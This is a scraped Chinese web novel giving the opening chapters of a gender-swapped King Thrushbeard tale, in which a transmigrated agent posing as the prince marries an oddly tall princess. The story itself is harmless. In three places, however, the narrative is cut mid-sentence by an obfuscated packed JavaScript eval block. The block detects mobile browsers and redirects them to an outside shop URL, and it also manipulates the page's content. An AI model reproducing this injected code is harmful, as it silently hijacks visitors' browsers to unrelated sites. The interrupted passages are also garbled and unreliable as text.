《性转童话[快穿]》 1. 歌鸫胡王子(1) 马车辚辚驶向偌大宫城,瑞贝卡坐在车厢内,捶了捶鼓胀疼痛的太阳穴。 这是老毛病了,每次穿过时空缝隙抵达任务世界后,她都会有些头痛难忍。 「NO.1?马上帮我看看我在哪个世界,现在是要去哪儿。」 瑞贝卡在心中呼唤她的老伙计,系统NO.1。 然而等了半天也没听见动静。 「NO.1?NO.1!你还要睡到什么时候?太阳晒屁股啦!」 又等了许久,瑞贝卡眼前才缓缓浮现一块光屏,两只硕大的蚊香眼转啊转,看得她头更晕了。 「呃呃……好晕呀……NO.1这就为老大查看当前世界……」 次空间中的NO.1站都站不稳了,一屁股坐在地上,小黑屏幕上的两个蚊香陀螺一样转。 穿越时空缝隙同样会引起系统的小小紊乱,瑞贝卡催促过后,耐心地等待它恢复过来。 三天前,瑞贝卡和NO.1接到一则任务通知,要她进入家喻户晓的童话故事中达成公主们的心愿,并促成HE结局。 绑定的辅助系统编号数字越小,代表其宿主等级越高。 瑞贝卡作为时空管理局首屈一指的调查员,列表里的任务对她而言就像大富豪爽逛两元店一样可以随意挑选,想挑哪个就挑哪个,想挑多少就挑多少,反正过任务对她来说比吃饭喝水还要简单。 但这项任务不一样—— 它并非和其它任务一样静静地躺在赏金列表里任人选择,而是由时空管理局局长直接指派给她。 ……天知道她点开邮件时,看见发件人姓名的那一刻有多震惊。 瑞贝卡从来不打无准备的仗,何况这项任务竟然惊动了局长,肯定非同一般。 打听过后,她得知:次空间检测系统起初将这个童话世界定级为C,研究人员便将它登记在册,放进赏金列表中。 但此后的几个月中,进入该世界的调查员竟无一生还,前去寻找他们踪迹和尸骨的其它调查员也没有再回来—— 这对一个难度仅被认定为C级的任务世界而言,显然是极为不正常的。 此事惊动了局长,她决心查清这个世界的真相,于是专门成立了调查组,并派出先遣队前去探路,由调查员深入了解并回传报告。 这项任务便顺理成章地落在了瑞贝卡头上。 当然也有人提出反对:“NO.1是我们最后的底牌,如果她折损——” “如果NO.1也折损在童话世界中,那么其它的调查员更不可能完成任务。” 管理局众人习惯于用调查员所绑定系统的编号来代称他们。 局长沉声打断那人的话,“我们只能选择相信她。” 「老大!我查到了!」 歇息片刻,头痛终于好转不少,NO.1欢快的电子音也适时响起。 「我们现在正处于《歌鸫胡王子》的世界中哦!」 瑞贝卡启程之前已经恶补过市面上能买到的所有童话故事书,对这个名字并不陌生。 尽管如此,她还是确认道:「就是那个“傲慢公主讥讽来求婚的王子,然后王子说‘我要给你点颜色瞧瞧’,于是对她百般羞辱,最后公主认错,二人幸终”的故事?」 「哇哦,经老大这么一浓缩,我仿佛一下子看完了好多本狗血虐文呢!」 NO.1忙不迭给她拍马屁。 「那当然,很多套路都是前人用烂了的,普罗大众的喜好这么多年都没变过。」 瑞贝卡心安理得地接受了NO.1的夸奖。 她掀开车帘向外看,发现马车即将到达目的地,直冲云霄的恢弘宫殿就近在眼前,终于发现了有哪里不对。 「我不是公主吗?这个时间节点,不该在王宫里应付那些求婚的人吗?」 而且如果她没记错的话,这个故事里的公主,全程都没有坐过马车吧? 「那个……老大……」 NO.1懦懦开口,一扫刚才的兴高采烈。 「您现在的身份,好像是,一名王子……」 「啊?!」 NO.1轻飘飘扔下的几个字令瑞贝卡如遭雷击——! 她低头一看,身上穿的果然不是想象中如花苞般的蓬松公主裙,而是一身笔挺的王室制服,纯白领花上还缀着一颗足有她半个掌心大的蓝宝石。 「而且就是歌鸫胡王子本人……」 NO.1慢吞吞地把剩下的话补充完。 于是她再一摸下巴:下唇底下的确有一处小小的凹陷,下巴尖翘起一道微不可察的弧度。 瑞贝卡以前只当自己这是下颌骨发育得好,还沾沾自喜过这样会显得嘴唇更立体,从未想过自己竟然还有扮演歌鸫胡王子的一天。 「别摸了,你的长相没有变化,还是自己的脸!」 NO.1急得已经有些焦头烂额了——它从没犯过把宿主投放到非主角身份上这样的低级错误,正在拼命试图和主系统沟通,让瑞贝卡退出重进。 「不对,为什么我的通讯请求无法被接通?和主系统之间的连接什么时候断开了?积分商城也不能用了!」 ——不会是因为这次出任务出得突然,它刚才被瑞贝卡叫起来的时候还没睡醒,迷迷糊糊之中点错了什么地方吧?! 完了完了完了……睡觉误事睡觉误事,它再也不敢了! NO.1越看心越凉,把能翻的东西都翻了一遍也找不出解决方法。最后它绝望道: 「老大,我们好像被困在这个小世界里,出不去了。」 难怪它能伪装成C级世界,真是太狡猾了! 「没关系,兵来将挡,水来土掩,我工作这么多年,什么情况没见过?小问题。」 瑞贝卡的手正从自己胯|下收回来——那儿空空如也,并不存在不该有的器官。这总算使她感受到了一丝慰藉,看待眼前的局面也乐观了许多。 「也许你并没有犯错,歌鸫胡王子也是故事的主角。但……我既然没有穿到公主身上,现在的公主,又处在一个什么样的状态之中呢?」 「这可能得等到我们进入王宫,亲眼看一看她,才能得到解答了。」 NO.1回答。 …… 故事中说,国王举办了一场盛大的宴会,无论远近,把所有对结婚有兴趣的男人们都邀请来了,这些人按照身份地位排成一排: 队伍最前面的是国王和王子,接下来依次是公爵、侯爵、伯爵和男爵,最后是普通贵族。 ——好死不死,这位歌鸫胡王子正站在靠前的位置。 「靠前其实挺不好的。」 她到达的时候宴会已经快开始了。瑞贝卡一边跟着引路的宫人走,一边在心里对NO.1说: 「公主这样一溜儿羞辱过去,身份高、名气大的站前面,丢脸的时间会很长。」 且不说身份贵重的人本身就更容易被记住,其次站得靠前,就意味着公主对她的评头论足会来得更早——如果瑞贝卡只是个普通小贵族,公主羞辱完她没多久,宴会就结束了,根本无伤大雅; 可偏偏她是位王子,“歌鸫胡”这个“荣誉称号”至少也要戴在她头上几个小时,直到宴会结束。 NO.1一听,心里更难过了。 它含着泪道:「真的有人会对老大这样一张完美的脸下得去嘴吗?」 说话间,瑞贝卡已经站到自己该站的位置上了。 她头一抬,英勇就义道:「我准备好了!来吧!」 NO.1顿时哭得更大声了。 队伍排好后,公主提着裙摆走下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359685|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台阶,来到第一位求婚者面前,上下打量着他,嗤笑道: “太胖,这是个葡萄酒桶!” 第一位国王闻言,立马悲愤地跑走了,身上的肥肉一抖一抖,活像颗圆滚滚的土豆咕噜噜滚过了红地毯。 瑞贝卡竭尽全力才忍住了不合时宜的笑声。 公主才不去管他。 她走到第二位国王面前,觉得他过分高瘦了,于是把眼一斜,说: “细细长长的,路都走不好。” 有土豆国王的前车之鉴,第二位国王也没脸再待下去。 他快步走过瑞贝卡身边时,瑞贝卡瞥了他一眼,对NO.1说: 「其实吧,我觉得公主还真没说错。」 长得跟圆规似的,这都是什么歪瓜裂枣? 王室不都会找美人成婚么,怎么生下来的孩子这么伤害眼睛? NO.1秉承着客观的态度,认真回答: 「公主是没说错。但如果她只是在心里想想,谁管得了她呢?她当众这样说出口,就是在给别人难堪了,祸从口出啊。」 瑞贝卡一想,「是这个理没错。」 与此同时,公主的羞辱仪式还在继续: “矮墩子,没脑子!” “白面死人!” “大红冠子老公鸡!” “受潮的霉木柴,放到炉子后面烤干了再来!” …… 公主的嗓音大大出乎瑞贝卡的意料: 清澈的少年音,每一个咬字都是那么的清晰,仿佛清冽甘甜的泉水汩汩淌过岩石,即使毒舌到了这种地步,也并未显得尖利难听。 但她每骂一句,NO.1就抖一下。 眼见公主已经走近前来,它颤颤地闭上眼—— 虽然它已经知道后续发展,但还是实在不忍心看见自家宿主被骂得狗血淋头的名场面。 就凭着公主这毒死人不偿命的嘴,小瑞贝卡可不得当场气晕过去! 真是太可怜了! 它一会儿一定要好好安慰安慰她! 而瑞贝卡完全不知道它在想什么。 她的全副心神都放在公主身上了,因为她没有忘记自己的目的: 摸清楚现在的公主究竟是什么情况。 前面羞愤离去的国王不少,只有几位即使被羞辱得脸上红一阵白一阵,也仍然坚|挺地站在原地。 从远处看,他们就像老太太嘴里稀疏的几颗牙,空的多,立的少。 此时距离宴会开始已经过去大半个小时。 瑞贝卡心道这位公主长得一定很美,否则来求婚的人也不会排了这么长的队伍,光是国王就有如此之多,而且这还是在她恶名远扬的前提条件下来的人。 嗒、嗒、嗒…… 正当瑞贝卡还在心中演习,一会儿被公主挖苦后,自己该做出什么样的反应时。 闷闷的鞋跟声戛然而止。 公主的小皮鞋已经不疾不徐地停在了她面前。 视野中突然撞进一只巴掌大的翠绿蝴蝶结,中心嵌着一颗亮闪闪的绿宝石,险些没晃瞎瑞贝卡的眼睛。 她稍微抬起头,视线与公主露在宽阔V领外的白皙双肩对上,再一抬头,才终于够上公主的双眼—— 她穿着一条苔藓绿的克里诺林裙,点缀着蕾丝和缎带的裙面看上去也像苔藓一样绒软,湿凉阴冷的感觉扑面而来。 修长的双手戴着一双珍珠白手套,一只手有礼地平放在小腹的位置,另一只手则执扇遮住下半张脸,只露出那双像一潭幽绿的湖水般,清澈却又看不见底的眼睛。 贝母扇面流光溢彩,但在公主将瑞贝卡纳入眼里的那一瞬间,她的绿眼睛里似乎掀起了足以摧毁一切的惊人漩涡,即使是散发着熠熠光泽的白蝶贝也无法夺走她迷人的光华。 2. 歌鸫胡王子(2) 瑞贝卡回神的时候,才听见NO.1在她脑袋里的大呼小叫—— 它已经这样尖叫很久了,瑞贝卡再不清醒过来,它就要乒铃乓啷敲锣打鼓拉响警报了。 「她、她真的好漂亮……」 瑞贝卡痴痴地对NO.1说。 尽管公主只是弯起眼睛,对她微微一笑,她的整张脸甚至还没有暴露在瑞贝卡面前。 「我算是明白了,为什么那么多求婚者都被她骂走了,还有的是人不远万里过来向她求婚。」 长成这样,很难不恃靓行凶吧?! 「你,唉,你,真是让我说你什么好……」 NO.1痛心疾首—— 它这宿主什么都好,唯一的缺点是看见美丽的人就走不动路。 「你没发现有哪里不对吗?」 「哪里不对?」 「哪个公主会有这么高挑的身材、这么宽阔的肩膀!」 它向来英明神武的宿主,根本就是被美色蒙了心,连这么明显的问题都没发现! 一语惊醒梦中人。 瑞贝卡快速揩了揩嘴边并不存在的液体,不着痕迹地上下打量了公主一眼: 果然,公主长得十分高大,竟比自己整整高出了一个头,那把小巧的贝母折扇拿在她手中,就像玩具一样—— 公主的手指都快比扇柄还要长了! ……这难道不是个资源匮乏的时代吗? 为什么公主一副营养过剩的样子? 「说不定公主的妈妈长得也很高呢。」 NO.1瞄了一眼国王的个头,只能把公主的身高归因于王后的基因优良了。 “敢问公主有什么指教?” NO.1的猜测不无道理,瑞贝卡也只当她是天赋异禀,彬彬有礼地问。 她注意到公主的视线由上及下,停留在自己的下巴上,许久之后—— “哎呀呀。” 公主用毫无起伏的语气,面无表情棒读。 “这人的下巴,长得跟歌鸫的喙子一模一样啊,哈哈哈。” 轰隆隆——天上劈下两道雷,同时击中了瑞贝卡和NO.1。 “你、你说什么?” 瑞贝卡简直不敢相信自己的耳朵所听到的。 她倒不是震惊于公主嘲笑自己长得像歌鸫,反正她早有准备。 她震惊的是,公主竟然用这种一板一眼的念课文专用声线! 她只有在小学时期不情不愿被老师叫起来背书的时候,才会用这种声线,蚊子似的哼哼两下,以示敷衍。 ——原文不是“公主不禁喊出了声,大笑起来”吗?! 在瑞贝卡的想象中,公主应该用夸张的语调大声讥笑这位来求婚的王子长得像歌鸫,引得大家都来嘲笑他——这座宫殿里想要讨好公主的人那么多,所以这个绰号很快就会传播出去,让歌鸫胡王子无地自容。 于是他爱极生恨,誓要报复公主,让她吃些苦头,以下省略八百字折磨公主的手段…… 直到尊贵的公主变成了人人都能来踩一脚的粗使帮工,他再站出来,大方表示“我是因为太爱你才这么做的,我不在乎你现在变成了这样,我的怀抱依旧为你敞开”。 公主听了,既羞愧又自卑,直言自己不配做他的妻子,歌鸫胡王子却大人不记小人过,最后他们重新举行婚礼,二人幸终…… ——而不是像现在这样,用毫无感情的朗读语气把本该让人捧腹大笑的事情说出口! 看看,因为语气不对,旁边的人摸不清公主到底是在讥笑她还是在打趣她,都不敢笑了。 最后那几个“哈”更是诡异,比黑魔仙小月的笑声还要鬼畜,瑞贝卡甚至一度怀疑是不是有伪人入侵了童话世界,取代了公主。 “塞缪尔!” 大概由于公主迟迟停留在这儿,没有继续再走下去,上首的老国王终于发现了不对劲。 他站起来,气急败坏地吼道: “够了,你还要挑剔到什么时候?这也配不上你、那也配不上你,我看我干脆把你嫁给乞丐好了!” “那您就试试看好了。” 公主转过身,对他不卑不亢道。 殿中顿时响起了一阵低低的惊呼声。 国王原本只是想威胁她,但公主却没有顺着他服个软,且还有这么多双眼睛见证着,国王骑虎难下,只好发狠道: “好,这可是你说的!我以神明的名义起誓,从此刻开始,第一个到王宫门前来的乞儿,就是我女儿的丈夫!” 这下满殿的惊呼声更大了。 名为塞缪尔的公主一听自己的父亲竟然真的发誓了,脸上也依旧没什么表情,提着裙摆转身就走。 临走前,她转向瑞贝卡,却仍然用折扇挡住脸,春水般波光粼粼的眼眸深深望着她,眼波闪动了几下,似乎有话要说。 ……但她最终没有说出口,在宫女们的簇拥中走出了大门。 「她想说什么?」 NO.1丈二和尚摸不着头脑。 「……不知道。」 瑞贝卡迟疑道。 她疑心自己只是看错了。 公主刚刚才羞辱完她,怎么会对她说“wait u(等着你)”呢? 可是她的眨眼频率,又的确是一短两长、一短一长、两短、一长…… 难道只是巧合吗? 正主走了,这场专为她举行的宴会也再进行不下去。 国王从王座上起身,一甩披风,怒气冲冲地走了。 瑞贝卡望着他稍微有些佝偻的背影,还是很难想象公主是他的亲生女儿。 「指不定真不是亲生的呢!」 此时一人一系统已经回到了下榻的旅馆。 NO.1说:「如果是亲生的,怎么会因为一句气话,就真的发誓把女儿嫁给乞丐?要是王子不出手,公主这辈子的幸福不就葬送了吗!」 「所以我现在要求他配合,他一定不会拒绝。」 瑞贝卡一边说,一边给自己披了一件能将她整个人从头到脚裹得严严实实的披风—— 她决定马上回到王宫,面见国王。 「他估计立刻就后悔了——怎么能真的把女儿嫁给乞丐呢?」 「所以,此刻如果一位货真价实的王子站出来,表示并不在意公主的讽刺,依旧想要求娶她,只是要让她付出小小的代价,国王肯定说什么都答应。况且由王子假扮成乞丐,也不算违背誓言,这就是歌鸫胡王子的狡猾之处了。」 「高,老大您这招实在是高!」 NO.1一听,喜滋滋地又夸起她来。 但瑞贝卡并不以为然—— “高明”的是那位歌鸫胡王子,并不是如今扮演他的自己。如果童话故事都是真的,公主的婚后生活只怕会比婚前还要凄惨。 事到如今,只能庆幸童话故事都是虚构的了。 进展比想象中要顺利: 正如瑞贝卡所料,国王一听歌鸫胡王子既不计前嫌,依然爱着公主; 又愿意配合自己的誓言假扮成乞丐,使他不丢面子; 还能给公主一个教训,让她从此放下高傲。 ——这一石三鸟的好事,焉有不同意之理? 他当即便满口答应下来,并立即下令把整座王都的乞丐全部赶到城外去,以免计划出了岔子。 NO.1这才意识到,原来要促使这一计划成功,原来还需要国王的配合…… 它都没想到这一点呢! 「那当然了,虽说闲杂人等不得靠近王宫,但不怕一万只怕万一,要是真有哪个胆肥的乞丐跑到王宫来截胡,我们的任务就失败了——别忘了,人饿昏了头,什么事都干得出来。」 瑞贝卡解释道。 闻言,NO.1很是欣慰。 它的宿主在正常状态下,依旧是那么的英明神武。 …… 几天后,瑞贝卡依约扮作一个乞丐似的吟游诗人,去王宫的窗户底下卖唱。 她脱下王子华美修身的制服,往身上浅浅涂了一层黑色颜料,然后换上破破烂烂的旧衣裳——这还是她专门找了侍卫借来、并手动撕扯成这副样子的,毕竟卫生还是要讲,且她的真实性别不能暴露。 穿好之后,她又在脸上抹了一些炭灰和泥巴,再把那头红发弄得像鸡窝一样乱,就大功告成了。 「怎么样?」 瑞贝卡转了个圈,得意洋洋地向NO.1展示。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359686|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「嗯、嗯,效果不错……」 有什么样的宿主就有什么样的系统,NO.1也喜欢看美人。 它眼睁睁看着一白净小姑娘变成现在这副亲妈来了都认不出的样子,敷衍了几声就目不忍睹地闭上眼。 须臾,它想起什么,又连忙睁开眼。 「记得把手指也涂黑,别忘了驴皮公主是怎么暴露的。」 ——《驴皮公主》这则故事,又名《千种皮》或《千匹皮》。 NO.1之所以借这个故事提醒她,是因为该故事有一个情节: 扮成厨房帮工的公主因为忘记把一根手指涂黑,被刚与她共舞过的国王认了出来。 但NO.1之所以把这个故事记得那么牢,全因故事中说公主的面包汤做得非常好喝,就连宫中最好的厨师都做不出那种特别的味道。 它早就馋得垂涎三尺,恨不得自己也穿到国王身上去尝一尝。 「我当然不会忘记。」 瑞贝卡正对着镜子,用一种可食用染料把牙齿涂成黑黑黄黄的样子—— 一个靠乞讨度日的人,怎么可能会有一口闪亮的大白牙呢? 既然要伪装,肯定连头发尖都要顾及到,她可是很敬业的。 把牙涂好后,她这才把手埋进壁炉底下,蹭了满手的炭灰。 临近出发,她又觉得身上不够臭,想着去牛圈羊圈里滚一滚吧,站在栏外呲着牙看了半天,最终还是没能下得去手。 于是瑞贝卡退而求其次,在身上倒了些劣质的龙舌兰酒——它闻起来有股怪恶心的口水味。 “大功告成!” 瑞贝卡对着镜子看了看,脏兮兮、黏糊糊,身上那股恶心的味儿直往鼻孔里钻,她自己都有些嫌弃自己。 她呲了呲牙,正要出门,却被NO.1叫住了。 「你是吟游诗人,怎么能没有记录歌词的羊皮纸?」 虽然羊皮纸可不是一个穷困潦倒的吟游诗人买得起的东西,但瑞贝卡如果不提前准备好的话,一会儿就要即兴发挥了。 「有道理。」瑞贝卡很感谢NO.1的提醒。 她想了想,命人给她找来一份记录着歌谣或故事的羊皮卷,挑选其中一则篇幅较短的进行快速记忆,就喃喃念诵着走向了王宫。 「我毕竟不是一个真正的吟游诗人,虽然我对自己的歌喉十分有信心,但只有词、没有曲,巧妇也难为无米之炊,一会儿只能当场瞎编了。」 瑞贝卡嘻嘻一笑,露出一口黯淡的大黄牙。 「希望国王和那位美丽的公主能给我几分薄面,不要把手捂在耳朵上。」 NO.1看了看她一脸不怀好意的笑容,总觉得她嘴上说的和她心里想的完全是两码事。 它默默掏出两团棉花,准备一发觉不对劲就往自己耳朵眼里塞,全然忘记自己只需关闭听觉系统即可。 有了国王的配合,侍卫们事先便知道瑞贝卡要来,看过身份证明后便放她进去了。 她来到一扇窗户下,透过窗玻璃,见国王和公主正在里面享用下午茶,便开口唱道: “从前有一位善良的老人 暴雨天,烤苹果喷香扑鼻 他为一个浑身湿透的孩子打开门 漂亮的金发孩子,手里拿着弓 老人给他喝甜酒,喂他吃烤苹果,并问他的名字 孩子说‘我叫阿穆尔!你不认识我吗?’ 他拿起了那把湿漉漉的弓 老人说‘你的弓已经坏了’ 孩子说‘弦还很紧呢——我倒要试它一试’ 于是他挽弓射箭,正中老人心窝—— ‘现在你看看,我的弓究竟坏了没有!’ 他大笑一声,就跑掉了 徒留可怜的老人,躺在地上,痛哭不已 ‘真是顽皮的孩子,真是顽皮的孩子!’ ‘我要告诉所有的好孩子们,不要再和这个捣蛋鬼玩耍!’” …… 她开口吟唱的瞬间,风不再吹拂,树叶不再颤动,鸟儿也不再鸣叫,整片天地似乎都安静了下来。 一枚枚音符缓缓流淌于空气之中,如潮水般涌向了殿中正在喝茶的国王和公主耳朵里。 3. 歌鸫胡王子(3) 「坏了,百密一疏,我的嗓音可不像那种吃不上一顿饱饭的乞丐……早知道我刚才就把那瓶臭烘烘的龙舌兰酒捏着鼻子喝下去了。」 瑞贝卡唱完一曲,对NO.1说。 虽然她已经尽量压低嗓子了,但显然,为了生计不得不唱破嗓子的人,不可能有这样清亮的声线。 「万一他们再让我唱一遍怎么办?刚才我是即兴发挥,现在已经不记得调了。」 剧情中说,吟游诗人进了王宫之后,在国王和公主面前唱了一曲,然后才开口讨赏。 虽然要100%做得和原著剧情一样是不可能的,但谁不想尽善尽美呢? 更何况瑞贝卡这种对任务完美度有莫名执念的强迫症。 「管它呢,老大您也别太完美主义了,任务能完成就行。」 NO.1依旧沉浸在她美妙的歌喉里,被她一问才回过神来,手里攥着的棉花早就不知道掉哪儿去了。 「完成比完美更重要。」 说话间,国王派出的宫人已经过来请她进去了。 于是邋邋遢遢的吟游诗人站到了金阶下,昂首挺胸,像一名凯旋而归的骑士,丝毫不为自己糟糕的外在形象感到羞愧。 “尊敬的陛下,想必您和公主殿下已经听见了我所唱的歌,这才会把我请进来。因此我恳求您,多少施舍给我一些赏赐,我已经很久没有吃过一顿饱饭了,现在正饿得前胸贴后背呢。” 瑞贝卡刻意压低嗓音,尽量显得粗犷一些。 她注意到上首的国王正仔细地打量着她的脸,显然因为她的伪装太面面俱到了,国王生怕她不是那位歌鸫胡王子,而是一名真正的乞丐; 公主看着她的眼神也很是古怪,像是嫌弃,但又含着些其它的深意。 瑞贝卡一时找不到合适的形容词来描述眼前的父女俩。 国王谨慎地将这个脏污烂臭的乞丐端详了一遍又一遍,确认她的确是由王子假扮的后,这才起身走近,展颜道: “我很喜欢你唱的歌,因此,我要把自己的女儿嫁给你,做你的妻子。” 他走近前来时,身上萦绕着的好闻香味一个劲往瑞贝卡鼻子里钻——原来是国王和公主面前的小桌摆着许多精美的点心,还有一壶香气四溢的热红茶。 NO.1馋得口水都快下来了,整个系统都要挣出她的随身空间直扑而去。 「我要,我要,我要!!!」 「要什么要,我还要旺旺碎冰冰呢。一见吃的就走不动路,出息。」 话虽如此,瑞贝卡受它影响,鼻子里闻着那股甜腻的香味,眼睛盯着那一桌子吃食,也有些走神。 她不自觉“啊”了一声,嘴巴的代码优先级罕见地越过了大脑,“可我更想吃——” 吱嘎——椅脚划过地面的声音兀突响起。 这一声似乎有魔力,成功阻止了嘴巴代码继续谋权篡位,骑在大脑头上当老大。 瑞贝卡循声望去,发现是人高马大的公主站了起来。 这回她没再用折扇挡脸,轮廓从黑暗中渐渐浮现出来,幽潭似的双眸深不见底,巴斯尔裙窄窄的月白色裙面泛着极淡的莹润光泽。 瑞贝卡抬头望着这轮新月,莫名感觉她看起来有些眼熟。 好像在哪儿见过似的。 按原剧情来看,公主现在应该对父亲的话感到十分震惊,并非常抗拒,又哭又闹。 但国王却很坚持,因为他已经发过誓了,如果不履行的话,他会颜面扫地的。 一言既出,驷马难追。所以,即使是要牺牲亲生女儿的幸福,他也在所不惜。 更何况,他一早就知道,这胆大包天的乞丐是由歌鸫胡王子假扮的。 “怎么,我的女儿,你要拒绝吗?” 国王见公主也站起身,还以为自己又可以逞一逞身为父亲和国王的威风。 他将权杖重重往地上一击,“我已经起过誓了,要把你嫁给第一个到王宫门前来的乞讨人。我会坚持履行这个誓言的。” 出乎他意料的是,公主斜了他一眼,碧湖般的瞳仁无风无浪—— “那你就快把我嫁给他吧。” 国王对她这话大感意外,周围的臣子和宫侍也非常惊讶,连忙一股脑涌上前来劝说—— 一边劝公主不要意气用事,赶快对国王服个软,求他高抬贵手; 一边劝国王顾及骨肉亲情,公主跟着这个人怎么可能过上好日子呢?他难道忍心看着公主去要饭吗? 一时间,宫殿里热闹得像有数百只麻雀在叽叽喳喳。 NO.1见众人都围在国王和公主身边,忙撺掇自家宿主悄悄摸几块糕点来吃。 瑞贝卡拗不过它,只得去了。 “我意已决!” 这时国王忽然高声道,吓得瑞贝卡一口糕点梗在喉咙里。 她忙端起旁边的茶杯,就着茶水使劲咽下去,完全没留心杯沿上残留着的浅浅唇印。 它像一朵柔软的、红艳的朝颜花,绽开在金边之上。 “去请神父来,立即举办婚礼!咦,我的贤婿呢?” 国王没找见瑞贝卡,四处张望着,生怕她跑了。 瑞贝卡忙在衣摆上蹭了蹭手,“到!” 还没尝出味儿呢,这国王真是一刻也装不下去了,比公主还恨嫁。 她转过身,恰好瞧见人群正顺着她这一眼层层叠叠绽开,令尽头处伫立在花瓣中的花蕊映入她眼底。 公主站在那儿,乌黑卷发搭在肩上,双手交叠着放在小腹处,燃着两簇鬼火似的绿瞳幽幽望过来,仿佛在无声催促着什么。 瑞贝卡连忙擦了擦嘴角的碎屑,走过去牵起她的手,深情道:“……我愿意。” 公主低头,看向吟游诗人那双指甲缝里卡着黑泥的油腻腻的手,额上青筋隐隐浮现,忍了又忍,最终还是没有甩开她。 神父被请来了,在众人的见证下,公主与吟游诗人完婚,正式结为了夫妻。 但这毕竟是个十分简陋的婚礼——没有鲜花,没有绸带,没有婚纱,没有戒指,没有祝福,更没有誓约之吻。 总之,什么也没有,完全不像一国公主该拥有的婚礼。 然而对于一个乞丐来说,已经是太过隆重了——有国王和这么多大臣见证,还有什么可叫屈的? 这样草率的婚礼,任哪对新人和疼爱孩子的父母来看都会不满意,国王却十分高兴。 他抚着胡须道:“现在,你再继续留在王宫里,已经不太合适了,因为你是一个乞讨人的妻子。你跟你丈夫赶快走吧。” 话中的驱赶之意太过明显,脸皮薄一些的,恐怕都会觉得王宫的地板烫脚,恨不得马上转身离开。 然而瑞贝卡的脸皮何其之厚。她一指茶几,说:“岳父大人在上,请您把那些点心赐给小婿吧,就当作是新婚礼物了。” NO.1早就不忍心再看了,它从机体中一左一右伸出两条细伶伶的手,捂住应该是眼睛的地方,不断念叨: 「好丢脸好丢脸……」 偏偏它又是真情实意地馋那些好吃的,所以对于瑞贝卡这一明显为它着想的行为也无可指摘。 瑞贝卡要它闭嘴,它立马就噤声了。 国王也完全没想到她这么敬业,说扮乞儿就真的能拉下脸来乞讨。 他一张老脸抽搐片刻,最后还是同意了。 于是乞丐瑞贝卡一手牵着公主、一手提着一大包糕点,雄赳赳气昂昂就往外走,两人步行离开了王宫。 公主离宫前已经脱下了华服,换上一身再普通不过的粗布麻裙,所以一路上没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359687|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人向她们投来异样的眼光,倒是公主惊人的美貌不断地吸引来了各种惊艳和贪婪的目光,但一瞥见旁边邋里邋遢的瑞贝卡,再落到她们相牵的手上,又纷纷变成了鄙夷。 一个两个还好,人一多,饶是厚脸皮如瑞贝卡也有点受不了。 她停下脚步,抬眼看了看公主。 公主见她停下脚步,也低头瞧了瞧她。 ……好像哪里不对。 瑞贝卡目光在她脸上转了转,最终落到了公主微微上扬几个像素的唇角上—— 难怪她总感觉公主心情很好! 这下瑞贝卡发自内心地惊讶了。 她不由问道:“你看起来很高兴,为什么?” 被强行嫁给一个乞丐,公主不该又哭又闹吗? 她都做好准备了,作为首席调查员,自当精通十八般武艺,就是哄熊孩子她也是一流的! 公主没吭声,只是又把头压低了一些,往下看。 于是瑞贝卡也顺着她的目光看去,落在两人相携的手上。 “你洗手了。”公主轻声说。 瑞贝卡:“……” 她刚才的确在王宫的喷泉里仔仔细细地把手洗干净了: 一是黏糊糊的,实在太难受了; 二是的确想给把女儿的幸福当儿戏的国王添添堵。 要不是受时间限制,她还真想整个人扑进喷泉里撒欢呢,现在她浑身上下一股酒液发酵的酸臭味,瑞贝卡自己闻了都想吐。 「糟了!」 NO.1突然叫道,语气里满是惊恐。 「老大,公主不会从你的手上看出些什么来了吧?」 「应该不是……炭灰底下还有一层乌漆嘛黑的染料,那个就算水洗了也不会轻易掉的。」 瑞贝卡迟疑道。 她可是用水把染料化开,然后整双手泡到那盆水里的,足足泡了快一个小时呢! 想要看穿她的伪装,没那么容易! 「那公主到底在笑什么?你只是洗手了就能让她这么高兴吗?她对你的要求未免也太低了吧?」 NO.1挠着头道。 「不知道。」瑞贝卡也摸不着头脑。 这公主还真是奇怪呢。 为了避免招致不必要的麻烦,瑞贝卡从怀里掏出一条亚麻面巾,给公主围上,遮住她完美无瑕的容颜; 公主也很配合地低头让她系好,竟没有表达一丝一毫的不满。 两人继续上路。 走了没多久,一片一望无际的大森林出现在眼前,树木郁郁葱葱,浓荫蔽日。 公主便开口道:“这片漂亮的森林,是谁的产业?” 虽然公主的确是按照原本的剧情对这片大森林的主人表达了艳羡和钦慕,但—— 「公主咋又用这种棒读语气?」 NO.1吐槽道:「我奶买菜砍价都比她燃。」 「你一个人工智能也有奶奶?」 瑞贝卡对这一问题展开了无限的思考。 听到这句话后,她感觉大脑皮层的褶皱瞬间被抚平了、拉展了,有股瞬间的放松,仿佛整个人漫步在挪威的森林里…… 「当然有啦!不过她老人家已经退休了。」 